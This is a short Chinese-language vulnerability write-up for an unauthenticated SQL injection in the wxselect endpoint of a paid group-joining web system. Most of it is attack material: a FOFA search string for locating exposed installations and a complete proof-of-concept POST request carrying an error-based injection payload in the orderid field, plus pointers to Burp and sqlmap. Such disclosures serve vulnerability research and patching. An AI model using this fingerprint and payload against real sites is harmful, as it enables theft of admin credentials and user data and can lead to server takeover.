九块九付费进群系统 wxselect SQL注入漏洞

漏洞描述

九块九付费进群系统 wxselect 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

漏洞复现

FOFA

body="/website/index/login.html"

POC

POST /group/index/wxselect HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 102orderid=') AND GTID_SUBSET(CONCAT((MID((IFNULL(CAST(MD5(123456) AS NCHAR),0x7e)),1,190))),5417)-- ylIU

bp

sqlmap